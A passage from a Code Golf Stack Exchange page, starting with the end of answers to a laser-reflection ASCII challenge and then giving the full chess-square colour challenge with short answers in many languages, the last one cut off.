online!](https://tio.run/##lVDLcoIwFN37FXdYkUmgxKoLY3S6pxu66UztIkUUaEQnRLGjfDu9PLqnk8nJzck595FcXZWX776bWKuyhFeVFXCfAGSFTcxexQmEqkxM2ZEAb9ZkxQF0x7kogoq1mHZoOtREoLbGfb586SyG0iqLx/WU7eCIBdw@y8cnKHMoyZB6qNOnBtm4FUuZYZp46/tVGbhJxxH7k@mqZjJgOYskZ6H0uMgoXaVCUxkyBL0KHnotqw2@hcuAGSqjFgzypuUj6UXI36h0HtvCIW3WXA6EI/JVJXJKSXt9et9uwfHjVJkXiyJpNgh6w5cR5csuDDF4JsIk9mIKuIm6Ef1f/ZQ2Ofqni/XPOK/VhdsP5w/ft2A8YJzNCPmPAS2jDbPWMGXBaMM0YHNcfD7aMWcLrDAdredtP38d1ZO6@QU "Java (JDK 10) – Try It Online") [Answer] # PHP, ~~177 169~~ 166 bytes ``` [,$w,$h,$a,$b]=$argv;for($e=-$d=1;$h--;$s[$a+=$d]^L?:$a+=$d=-$d,$s[$b+=$e]^L?:$b+=$e=-$e){$s=str_pad("",$w)."|";$s[$b]="X\/"[$e];$s[$a]="X\/"[$a-$b?$d:0];echo"|$s ";} ``` requires **PHP 7.1** for negative string indexes, **PHP 5.5** or later for indexing string literals. for **PHP <7.1**, remove `^L`, replace `"X\/"` with `"/X\\"`, `:0` with `+1:1`, `[$e]` with `[$e+1]`, remove `."|"` and insert `|` before the newline. (+3 bytes) for **PHP < 5.5**, replace `"/X\\"` with `$p` and insert `$p="/X\\";` at the beginning. (+2 bytes) takes input from command line arguments. Run with `-nr` or [try them online](http://sandbox.onlinephpfunctions.com/code/930a3659935f716e5d9aef7d94886dc25b5037c6). [Answer] # [Python 3](https://docs.python.org/3/), 162 bytes ``` from numpy import* def f(w,h,u,v): v=w+w-v-1;T=eye(w);M=vstack([T,2*T[::-1]]*2*h) for r in M[u:u+h,:]+M[v:v+h,:]:print('|%s|'%''.join(' \/X'[int(i)]for i in r)) ``` [Try it online!](https://tio.run/##jVTJjuIwEL37K0pIrcTEEJKGPqTFJ3AaDkgxBwTOMtNZ5GxChG9nvBFI90zPRIry/GzXe1VxuTzXSZG/3m4RLzLIm6w8Q5qVBa@n6MQiiOyOJKQhLQ4QtOvO6WbtzHvfrtmZ2R1@36zbqj4cf9nhlvjTbRgEM2@/n/rTBCOICg4c0hw2YRM0TkKCvbMJ26BVMCh5mte21b9UvfViWfOfRZrbFlB3Z4VyJsV7GSGVETjGt5pVdQVrCC3LoqhLT3USwBt8sDyWyFsAT@OknsUiTizGYiYaRkuEeqAALvQCCBHQwKUaiDGVQHwFEoBK4Pb/tUsYIuL9t6fFyJMnPFElKIWpAVQKghY2MgopIJEGwowBrmFcbVd@v3pa/tWTP/K0QLIGVBvRWtTE3ZmUqS6Tq5boyux0Cs/7Pun7i8HAaqy/GtdkhXRWqgr6uZcIRrxiH7ThNftEK96wz7RMCwb6k9vVYPbtu2L5SNflXpj7AbqfH3N8zOnZ/UHIG4T8706K/Cu7Xr1i8x4h3aPAGULloRZNwdn8WGRl@sHsiYlt05ODh/h6NNK4L4jGDK0ce@7gCZFBf2CEVBcS2X6yFZm4JRg/1MxWDSkvBvFkwoNwMq/YgR8TNYXVRBpBppfIx9wmYnF2KG3R5QSyecyLprQ94pNXssR4WKwviGhCc5PRpbsO@VyS6zibS3Md5XJprzSfPKI9rjJF3X4D "Python 3 – Try It Online") [Answer] # [Ruby](https://www.ruby-lang.org/), 117 bytes ``` ->w,h,a{a[1]-=w;(1..h).map{s=' '*w;a.map!{|x|d=x<0?-1:1;s[x]='X\\/'[s[x][/ /]?d:0];x+=d;x==w ?-1:x<-w ?0:x};?|+s+?|}} ``` [Try it online!](https://tio.run/##NctBDoIwEIXhvaeoKxQG6BDqglq5hsnQRRUNGxMiEGooZ0fbxN3/Zd68p9tne6otvczQgVkMoU7VLA@YZd0xe5l@GVTEoniWxmu/OOtaZc@8TrFCOZDVKro2TR6Rb8pZruu24lraRLXSKjUzP7Xn9Be8squsXTIktVvXjXZ0AuRACKXW8BcHDCqDCuBBBQcBJABFoICTvxUBCIV/@w13OnuYe7e40fXTOLAnxaOWzPe6fQE "Ruby – Try It Online") Anonymous lambda taking input as width `w`, height `h` and an array of starting points `a`. [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), ~~243~~ ~~233~~ ~~222~~ 205 bytes ``` param($w,$h,$a,$b)$l,$r,$s=1,-1,' \/' 1..$h|%{$p,$p[$b],$p[$a]=[char[]](' '*$w),$s[$r],($s[$l],"x")[!($a-$b)] if($a+$l-in($z=0..($w-1))){$a+=$l}else{$l*=-1}if($b+$r-in$z){$b+=$r}else{$r*=-1}"|$(-join$p)|"} ``` [Try it online!](https://tio.run/##RY3BboQgEIbvPgUlfyvsggWz9saTWA7YaNyGdg0ebFZ9djtuahoOw/fPNzPDbWrT2LcxbujcvA0hhS@BSaFXCAqNRFRICqOzSluVs/fXPLNFgX55njEoDDUa/yjBu/qjD6n2XuQsP2GSNFcjeSX2Gr3iP1zWTwJB02afXTv6nhH19Vvg7kxR0GltpZQz5Q5xbePYzognp@26280ZiWzcyWjISH9Gehh8gdCfN@oPcuHrtmbZCzr2xqxhll0yzv@ZkoMvO5fMHFwaVtGz1RFUNFKy8kC7y8xs2y8 "PowerShell – Try It Online") Oooof. those logic blocks are big and dirty and mostly duplicated. The next step would be rewriting them so they don't need the else statement. [Answer] # Python 2, ~~165~~ 164 bytes ``` w,h,x,y=input() a,b,s=1,-1,' \/' exec"""l=[' ']*w l[x],l[y]=s[a],s[b]if x-y else'X' if-1<x+a<w:x+=a else:a=-a if-1<y+b<w:y+=b else:b=-b print'|%s|'%''.join(l) """*h ``` Saved a byte thanks to Jonathan Frech. [Try it online!](https://tio.run/##Jc3RCoMgFIDhe59CgjitjlvFriLfY@C80GHkEIvZSKF3b41u/@/in9MyTr7d9xVHjJi49fN3KS5EocbAG2QNAn3egJhoXlmWOS6AgixX4kSU6ESSPAglMQgt7UAjS9S4YOABxA6s6WOl@rWLFVfk3zvFmTolVfqQVHF9iuZMk/lj/QJbHjbIAa7vyfrCXchxLsd9v2NTY4v1Dw "Python 2 – Try It Online") [Answer] # [K (ngn/k)](https://github.com/ngn/k), 58 bytes ``` {" \\/X|"4,'(+/3!1 2*(x#'e+2*|e:=2*x)(2*x)!z+(!y;-!y)),'4} ``` [Try it online!](https://tio.run/##JcoxDoMwDIXhqzjpEBtCE7sJA1bv0YEVOlRihgJnT4O6/Pr09D7d8l5KmYfdwjiG12GTd9iGh2GQBtebm1ppjml4SrMSXjHfFs2mndmIvEtn2Rl9WL2z42LJXz3dDPcwIPbKURkS6Z8RuDJdFIiVEjVrBs7VWfu6ShWr1Gsk0vID "K (ngn/k) – Try It Online") anonymous function that accepts three arguments: `x` the width, `y` the length, `z` a pair of starting positions for the lasers [Answer] # [C (gcc)](https://gcc.gnu.org/), 169 bytes ``` A,B,c;f(w,l,a,b){for(A=1,B=-1;l--;a+=A,a<0|a==w?A=-A,a+=A:0,b+=B,b<0|b==w?B=-B,b+=B:0,puts("|"))for(c=-1;c<w;c++)putchar(c<0?'|':a^c?b^c?32:B>0?92:47:b^c?A>0?92:47:88);} ``` [Try it online!](https://tio.run/##Xc3RasMgFAbg6/UpQm6q5Ajq0q7TuKAPMtAD6QpdN7aOXDR99uyYwBiC5@L8H@cXxRFxnj0EQDuwEc4QIfHb8PHFvFMQnFD2LISNjfMQOzlF58beO0EbRUZCalyARJKy0EFYIpLPn@s3q6ea81yHuQq70WLTcCJ8ixR2st9OWxNfsU80j9qEF9k/a9M@mRz4v@1w4PY@ny7X6j2eLoxvbpuHge2hUpIGqpbbav2x5vYfZS2pXUmTlqQp3y1P7UqjcL9c6VLUWlb23edf "C (gcc) – Try It Online") [Answer] # [Kotlin](https://kotlinlang.org), ~~322~~ ~~311~~ 302 bytes Changed how I put laser direction in string for 11 bytes. Moved assignment out of when for 9 bytes. ``` {w:Int,h:Int,r:Int,l:Int->{var a="" var f=r var d=1>0 var s=l var t=!d for(o in 1..h){a+="|" for(c in 0..w-1)a+=when{c==f&&c==s->"X" c==f&&d||c==s&&t->"\\" c==f||c==s->"/" else->" "} a+="|\n" if(d){if(++f==w){--f d=!d}}else if(--f<0){f=0 d=!d} if(t){if(++s==w){--s t=!t}}else if(--s<0){s=0 t=!t}} a}()} ``` [Try it online!](https://tio.run/##xRlrUxvJ8fv@ikGVwtJZaAUYPlAWV1zsVKhyDpfDxVRF/jDSjqQp9nUzs8gc8Nud7p7HzkoyOJcPcRmh7e2efr@G28rksvyW/sT@qgQ3ImOLSjGzkprNq0ywZZUv2HzF81yUS3GWrIyp9Vma4kt8N9KGz2/FV0CB96N5VaS/N0IbWZU6PTw9PD0@Sq7XFcu5FkqzmTBrIUpmAFRIpSqlk@TzihsmF2wt2IrfCcaBtVIyA0HgvFpJDWJVCyKquUJZck/9c5I8svDv8f/zkPxarYcovl7JEuUnbVlWrUsmzWg0IiGnHeJp56Rp59hph8e0w3Da4T7tiDKNH9LoIUUhr1ZDllfV7YhdGjarmnIusiEz1ZqrTIPLBRMlAlZCiVHHK5nia7K@8@Ivv11DYMhyyWRJhFVdV1oawJRKzNH5P7cqp5HKaaRyGmmZRiqnkcpppHIaqZzGKk87Kk8jlf9eFKTQPQiWla8M00IUoDIrhDBeVXYNmr7CeC/vRClFaUaMlF/xuhalRiPMKrPy2ht@K1hTk@KaF/BR87mIFCbe3sdp5ONIe3YTax/5OI18nEY@TiOF01jhaezjS7aE7ENvgvxrrlmthDH3rJrdyarRQ7ZqViDpO3Aoug9U0Og0vlS8gOy8B53LjMlAl/NZpZCS9Y1qtAHDsaqk@jAYsY9CgY000xWAqVzMqybPIPAh7KmQNJigKN1nheHRIoIPqsbUjdmZ1ZBMEgyOryhQQdYhxJoB82N4geTWFyM6@7LEc/pwAuEs4cXgLPE2ugY3rWUGx2EJWYlQXDoYWN6eQfmn4Yr4UpxDfHtMJZcrc2CTwWZ9/w@hqgNZZuIr5leBVpshA@uW0gozePnoXCz@/MkfVTUHeOByuQhlCbxLUtsUHqKr1hJsN7OJDvxLF9PopaCk9bsAt@Z5RdEDjUOMvsMBhf9xBoT94@fPQdeyMjYTJeaulplY83v4YkTdcrRdyaKE0jRkMwgXpCe4N3uHU5vvjCuo6KbNdrL/EBIEYo2BIA0UCXUwB1zIaULEuolI9sQrCvNw@AWIqFA7ivCiyY2sc0G6tt56z@crAgEyRIdmmJVQnbWl4qyWtUDtFJ8bjIzHNp4@bUUkapAJUBjaKKQ4ZzNo2UzDyxXrT1vKD5sBt0UIKY3dwtOmg04OtQnqgrjtGBAR8UFdq1k7XZRYbsplw5fCpvWrDGxwS0ECdZtdX16hTW6tmS6MEUVt8OVCfkWPu16kCywlkBplU8xACRBkdm/AuMk1QpElfKdUOWOnLvHP2OE4zmV4jvLvjL1JbGdxlX3qq3ra9qa2L4We5PvRC1QvCzPuCHMIwoTuGTrnNDSRaWgg0zAgTMNwME1Dz/UdJ3XdJo2EefNdYY46wowT1HpqJbBMpu7AG6eka1m2WVlb3FjZYzrP@GgcOJ90GZ90rXCSxOOS64Gbg1OAdkeoAO0OUwHaHasCNLLPSZDy9DnzHCXWEt4UPkh8jLgQcRFyE3M4DByOnosGdMDNI/38lCZJmrJ33MAIDZmn3TCPWbzgUGoY5IGBrpm1GJgU/TueM8f1soTBCJ9XAnlaAGUcAlULo2cUhB4HxPn91xoqFST5HSR91MrCAsEW0M2p2rLftEASyyYI2vZh34OHJDQiIDop4ys5okG9qaA4Up0ZUp10c0VEoKq1rwaaGo5UUDQUVoNQQqFCNaWE3WWUgIxQ3ql/9mOrxBaJLUHWaS1xBi2dKvwDjj4gAgAlz@UfwgojNHjCHdA2/f2oQVkyaoo735Oa3mJWMUsC9gBd9YY1Uyv40CuFOwmZn2gOz8cWXzW21NoVDGsmYbG91t79vWxgqWQJnZbTWrbguW4pj221xZp@x6GFlHoN1p2wXs9BrOEnVn8HazlMUB4Hda6dkCUcjGJhEskEcJS@77wOTeBwNLIKD6wHSN6PjWknDZwW3KiJBHWOo4izqScQ2ILnVd4Upe8sFAu7rEgEupkZjCXUIrJOA87Pd1mHedu8BuM89ghCmrRMx6MR8Tw4HCSu0wKjiyyzjhcCUy0K4dKNU3bCcBSBS9KurOsV7OAPSQShkz8jGA@IOvdcVRrm8draT6pNmk7Td7tjjOK0mUyc4/f3I5Dz8MF5h4Sx3k3v@8IJiWzaUZOYkvuk2ZJOu0VVuQzAEDE/KGcblY@PGwKybSWAgIJzW5npdFubKxRhLbUYWmfsVGq4pY5pNbKRXP0XKj0@/ojp0@@YvtwtIvHnmxQ03XelEVglDs5Zj/Ui@BNiowW2MtXWx52pug8KlVKvPImv8TCTYyGD9b66c@utU52EHsFkn3Qs6fBccMhyrkQB@393MfAkHG9H5AJJV9bgTrAQVjhXh3IAk/p8RXckne1jFLseX3kCJ4t3ayZ2CkNSBCVeEqaVotW7I8xWHZqW1jtwdD@gYSG17kLw69euhE/cwhneMnZwQO/Cc1zYOzU7@F5alzzZ@MDz3RnsLRu3R/uuMU5ePNgf61X@R3VnO288KmAs7AqCYKfy@@bv2j347znz77R7twwQxrNB4ImeEWZDCk/xA8Kg5bF@bfraN@GdzrYvA8A3Z/z9ko/duR0nh4bvvbx1YHscfcN@beeRT8I0qnSXNwVs1Lhquk3bT0OujHCSGAescIekLLVNhISOdl2extpPTdkdY@2MWHBZ9rla6jN2oRS/f2vnvvNBmPw@8GKW8TD0Bkn8CNGH6gbzwZznFt/1b7E5RuPWDwMODBOu6VN91ZZoH28GcNSgOwRqhHRLUJX5fVwCBWzM7ZyIL2CgknyWwyjBC6AEMXK0F0dLVOV9UTWORVDAzzGwE9Ig40/yCBbdmVMbbmz0Qmu8r8VowH6tjDhzt4ToJxhcLAnPMopp3ClIjUajKFoUEnqWv7SBIM8qoctXjsrd77RjcNj27fyZs5pN0IPH4yML//awPsOZfUWfij5z/Dw4f6B5dQKDKo2pE0W/swkOpDSOTnL6bSZ7WQKe7Fd@2hw88NcTnOEQOveTG0xtAMbe9jCfTBb7@/CpD85xtrHP2eMjgvb3gTkNCQi2MABAH8Z0gW@s95QQAyzOctHPBg/wCWV4MlkPHqBcJhmI9PTksgsL6Nvx4GExGdsXSGMcjXY0OgE1TEyjkUYDjX2R8Kf@4Okbmfla3YNPeeZ7qrW1DTUfygAvRtYr/xJKLu7tRRiivwkEa5zUdC3mciEhikMmhsl837f9rUtRKNTShxf9qYm9kxrGARvitNCiOO2GxUsXJC7tF6oq2FKUQnFjiyCKa0C1h7DeejknpO4HCMT@YG9vBHyk6YMfBqOC11EFhDNMBcEDlgpF1J0x0rjw7U3YG39JZlY4o1xCBVny/EItG0yN91/nokYF@9FQ1PusKpCwDWnusPVeb7DJ6N9HX7CK4nQXQc4n4Wn85U9I8Mle@ULO4U6JBt/F@niL9fH/zvoDXQbv4ExXrnnZ77ml/C8PLZ@ncFnSex0O67UYh4DhVvbdCEd0BO7wLez4y9MG67rfshyy9vB2Um/PG0ZGGQxcR7iCUd9rPbStCrrIZib5@xqXHXRpw/4GQUxbKT4PoX/vDn9fgl0OPB/@T1D0YShgfYFIZ@wa3YQtwTflYPNfYJ2V@IeWoSvNTsQQkpg/JCku7FKbq0Wf7pZOh9At4GcImdCaKX6FbwdDC3pjQUcA3cQ@AvgJ/T888ejwcErYR5vYh/YQPGfQ7tY0UOA6j4K2g8d2ZCGCXb53RhaFDuHYq4ZdwdXiKIviw4tg@OCjK46vlrG9@HIM4lWwPdOh4FlOyzAWua9Q3@w8g8NK8u0/ "Kotlin – Try It Online") ]
[Question] [ Your challenge is to write a program that outputs the color of a given square from the chessboard. This is how a chessboard looks: [![enter image description here](https://i.stack.imgur.com/YxP53.gif)](https://i.stack.imgur.com/YxP53.gif) You can see that the square **a1** is dark, and **h1** is a light square. Your program needs to output `dark` or `light`, when given a square. Some examples: ``` STDIN: b1 STDOUT: light STDIN: g6 STDOUT: light STDIN: d4 STDOUT: dark ``` The rules: * You need to provide a full program that uses STDIN and uses STDOUT to output `dark` or `light`. * Assume that the input is always valid (`[a-h][1-8]`) * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so shortest amount of bytes wins! # Scoreboard ``` var QUESTION_ID=63772,OVERRIDE_USER=8478;function answersUrl(e){return"http://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"http://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # Python 2, ~~41~~ 38 bytes ``` print'ldiagrhkt'[int(input(),35)%2::2] ``` *3 bytes thanks to Mego for string interlacing* Takes input like `"g6"`. That's light and dark intertwined. [Answer] # [GS2](https://github.com/nooodl/gs2), ~~17~~ 15 bytes ``` de♦dark•light♠5 ``` The source code uses the [CP437](https://en.wikipedia.org/wiki/Code_page_437#Characters) encoding. [Try it online!](http://gs2.tryitonline.net/#code=ZGXimaZkYXJr4oCibGlnaHTimaA1&input=YjE) ### Verification ``` $ xxd -r -ps <<< 6465046461726b076c696768740635 > chess.gs2 $ wc -c chess.gs2 15 chess.gs2 $ gs2 chess.gs2 <<< b1 light ``` ### How it works ``` d Add the code points of the input characters. e Compute the sum's parity. ♦ Begin a string literal. dark • String separator. light ♠ End the string literal; push as an array of strings. 5 Select the element that corresponds to the parity. ``` [Answer] ## [Hexagony](https://github.com/mbuettner/hexagony), ~~34~~ 32 bytes ``` ,},";h;g;;d/;k;-'2{=%<i;\@;trl;a ``` Unfolded and with annotated execution paths: [![enter image description here](https://i.stack.imgur.com/tT168.png)](https://i.stack.imgur.com/tT168.png) Diagram generated with [Timwi's](https://codegolf.stackexchange.com/users/668/timwi) amazing [HexagonyColorer](https://github.com/Timwi/HexagonyColorer). The purple path is the initial path which reads two characters, computes their difference and takes it modulo 2. The `<` then acts as a branch, where the dark grey path (result `1`) prints `dark` and light grey path (result `0`) prints `light`. As for how I compute the difference and modulo, here is a diagram of the memory grid (with values taken for the input `a1`): [![enter image description here](https://i.stack.imgur.com/v6lgn.png)](https://i.stack.imgur.com/v6lgn.png) Diagram generated with [Timwi's](https://codegolf.stackexchange.com/users/668/timwi) even more amazing [Esoteric IDE](https://bitbucket.org/Timwi/esoteric-ide) (which has a visual debugger for Hexagony). The memory pointer starts on the edge labelled *row*, where we read the character. `}` moves to the edge labelled *col*, where we read the digit. `"` moves to the edge labelled *diff* where `-` computes the difference of the two. `'` moves to the unlabelled cell where we put the `2`, and `{=` moves to the cell labelled *mod* where we compute the modulo with `%`. This might be golfable by a few bytes by reusing some of the `;`, but I doubt it can be golfed by much, certainly not down to side-length 3. [Answer] ## CJam, 18 bytes ``` r:-)"lightdark"5/= ``` [Online demo](http://cjam.aditsu.net/#code=r%3A-)%22lightdark%225%2F%3D&input=b1) ### Dissection ``` r e# Read a token of input :- e# Fold -, giving the difference between the two codepoints ) e# Increment, changing the parity so that a1 is odd "lightdark"5/ e# Split the string to get an array ["light" "dark"] = e# Index with wrapping, so even => "light" and odd => "dark" ``` [Answer] # sed, 37 ``` s/[1357aceg]//g /^.$/{clight q} cdark ``` ### Explanation `s/[1357aceg]//g` removes all odd-indexed coordinates. The resulting pattern buffer then has length of 1 for "light" or length of 0 or 2 for "dark". `/^.$/` matches the 1-length patterns, `c`hanges the pattern to "light" and `q`uits. Otherwise the pattern is `c`hanged to "dark". [Answer] # ShadyAsFuck, 91 bytes / BrainFuck, 181 bytes My first real BrainFuck program, thank Mego for the help and for pointing me to the algorithm archive. (That means I didn't really do it on my own, but copied some existing algorithms. Still an experience=) ``` NKnmWs3mzhe5aAh=heLLp5uR3WPPPPagPPPPsuYnRsuYgGWRzPPPPlMlk_PPPPPP4LS5uBYR2MkPPPPPPPP_MMMkLG] ``` This is of course the translation from my brainfuck answers: ``` ,>,[<+>-]++<[->-[>+>>]>[+[-<+>]>+>>]<<<<<]>[-]>>[-]++++++++++[>++++++++++<-]<[<+>>+<-]<[>+<-]+>>[>++++++++.---.--.+.++++++++++++.<<<->>[-]]<<[>>>.---.+++++++++++++++++.-------.<<<-] ``` Developed using [this interpreter/debugger](http://www.iamcal.com/misc/bf_debug/). I stole two code snippets for `divmod` and `if/else` from [here.](https://esolangs.org/wiki/Brainfuck_algorithms) (Thanks to @Mego!) ``` ,>, read input [<+>-] add ++< set second cell to 2 ``` Now we have the cells config `>sum 2` we now perform the divmod algorithm: ``` [->-[>+>>]>[+[-<+>]>+>>]<<<<<]> [-]> ``` The output of the divmod looks like this `0 d-n%d >n%d n/d` but we zeroed the `d-n%d` and are zeroing the next cell too: ``` >[-] ``` Fill one cell up to the value `100` for easier outputting: ``` ++++++++++[>++++++++++<-]< ``` Now the configuration is `>cond 0 100` and for applying the `if/else` algorithm we need two temp variables, so we choose the configuration `temp0 >c temp1 100` ``` c[<temp0+>>temp1+<c-]<temp0[>c+<temp0-]+ >>temp1[ #>++++++++.---.--.+.++++++++++++.< outputs light <<temp0- >>temp1[-]] <<temp0[ #>>>.---.+++++++++++++++++.-------.<<< outputs dark temp0-] ``` [Answer] ## Python 2, 45 bytes ``` print'dlairgkh t'[sum(map(ord,input()))%2::2] ``` Takes input like `"a1"`. [Try it online](http://ideone.com/1blfkH) [Answer] # Pyth, 18 bytes ``` @c2"lightdark"iz35 ``` Interpret the input as a base 35 number, chop `lightdark` in half, print. [Answer] ## [Seriously](http://github.com/Mego/Seriously), 19 bytes ``` "dark""light"2,O+%I ``` Takes input like `"a1"` [Try it online](http://seriouslylang.herokuapp.com/link/code=226461726b22226c6967687422322c4f2b2549&input=%22a1%22) (you will have to manually enter the input; the permalinks don't like quotes) [Answer] # Turing Machine Code, 235 bytes Using the rule table syntax defined [here.](http://morphett.info/turing/turing.html) ``` 0 a _ r 1 0 c _ r 1 0 e _ r 1 0 g _ r 1 0 * _ r 2 1 2 _ r 3 1 4 _ r 3 1 6 _ r 3 1 8 _ r 3 2 1 _ r 3 2 3 _ r 3 2 5 _ r 3 2 7 _ r 3 * * _ r 4 3 _ l r A A _ i r B B _ g r C C _ h r D D _ t r halt 4 _ d r E E _ a r F F _ r r G G _ k r halt ``` [Answer] # JavaScript (ES6), 45 bytes ``` alert(parseInt(prompt(),35)%2?"dark":"light") ``` [Answer] # TI-BASIC, 66 bytes Tested on a TI-84+ calculator. ``` Input Str1 "light If inString("bdfh",sub(Str1,1,1)) xor fPart(.5expr(sub(Str1,2,1 "dark Ans ``` Here's a more interesting variation on the third line, which sadly is exactly the same size: ``` Input Str1 "dark If variance(not(seq(inString("bdfh2468",sub(Str1,X,1)),X,1,2 "light Ans ``` You'd think TI-BASIC would be decent at this challenge, since it involves modulo 2. It's not; these solutions seem to be the shortest possible. We spend a lot of bytes to get both characters in the string, but what really costs is the thirteen two-byte lowercase letters. [Answer] ## [Befunge-93](http://www.esolangs.org/wiki/Befunge), ~~39~~ ~~37~~ ~~33~~ 31 bytes All credit to [**Linus**](https://codegolf.stackexchange.com/users/46756/linus) who [suggested](https://codegolf.stackexchange.com/questions/63772/determine-the-color-of-a-chess-square/63791?noredirect=1#comment154160_63791) this 31-byte solution: ``` <>:#,_@ v%2-~~ "^"light"_"krad ``` Test it using [this interpreter](http://www.quirkster.com/iano/js/befunge.html). ### Explanation ``` < v%2-~~ ``` The `<` at the beginning sends the instruction pointer to the left, where it wraps around to the right. It then reads in two characters from input as ASCII, subtracts them, and does a modulo by 2. As `a` and `1` are both odd (in terms of ASCII code), this works. The `v` redirects the instruction pointer downward... ``` "^"light"_"krad ``` ...onto the `_`, which sends the instruction pointer to the left if the top of stack is 0 and to the right otherwise. The characters of "light" or "dark", respectively, are pushed onto the stack in reverse order. Both paths hit the `^` at the left, which sends the instruction pointer upward... ``` >:#,_@ ``` ...to the output segment. `:` duplicates the top of stack, `#` jumps over the `,` and onto the `_`, which sends the instruction pointer to the right if the top of stack is 0 and left otherwise. When the stack is empty, the top of stack (after `:`) is 0, so the instruction pointer hits the `@` which stops execution. Otherwise, it hits the `,`, which outputs the top of stack as a character, and then the `#` jumps it over the `:` and onto the `>`, which starts the process again. [Answer] # C, 55 bytes ``` s;main(){puts(strtol(gets(&s),0,19)&1?"light":"dark");} ``` [Try it online](http://ideone.com/Xvn8ts) Thanks DigitalTrauma for lots of golfing tips [Answer] # C, 49 bytes ``` main(c){gets(&c);puts(c+c/256&1?"light":"dark");} ``` [Answer] # [Japt](https://github.com/ETHproductions/Japt), ~~23~~ 22 bytes **Japt** is a shortened version of **Ja**vaScri**pt**. [Interpreter](https://codegolf.stackexchange.com/a/62685/42545) ``` Un19 %2?"dark":"light" ``` ### How it works ``` // Implicit: U = input string Un19 // Convert U from a base 19 number to decimal. %2 // Take its modulo by 2. ?"dark" // If this is 1, return "dark". :"light" // Else, return "light". // Implicit: output last expression ``` Using the new version 0.1.3 (released Nov 22), this becomes **17 bytes**, shorter than all but GS2: ``` Un19 %2?`»rk:¦ght ``` Or, alternatively, a magic formula: (26 bytes) ``` Un19 %2*22189769+437108 sH Un19 %2 // Convert input to base 19 and modulo by 2. *22189769+437108 // Where the magic happens (top secret) sH // Convert to a base 32 string. ``` [Answer] # Java, ~~157~~ ~~127~~ 124 bytes ``` interface L{static void main(String[]a){System.out.print(new java.util.Scanner(System.in).nextInt(35)%2>0?"dark":"light");}} ``` [Answer] # [TeaScript](https://github.com/vihanb/TeaScript), 23 [bytes](https://en.m.wikipedia.org/wiki/ISO/IEC_8859) ``` ®x,35)%2?"dark":"light" ``` Unfortunately the strings `dark` and `light` can't be compressed. [Answer] # Ruby, *~~[striked out 44](https://codegolf.stackexchange.com/questions/48100/very-simple-triangles/48101#comment113015_48101...)~~* 36 bytes ``` puts %w[light dark][gets.to_i(19)%2] ``` [Answer] # [BotEngine](http://esolangs.org/wiki/BotEngine), ~~165~~ 14x11=154 ``` v acegbdfh >ISSSSSSSS v<<<<>v<<P vS1 vS2ke vS3 vS4re vS5 vS6ae vS7 vS8de > > ^ > > v ^S2 ^S1el ^S4 ^S3ei ^S6 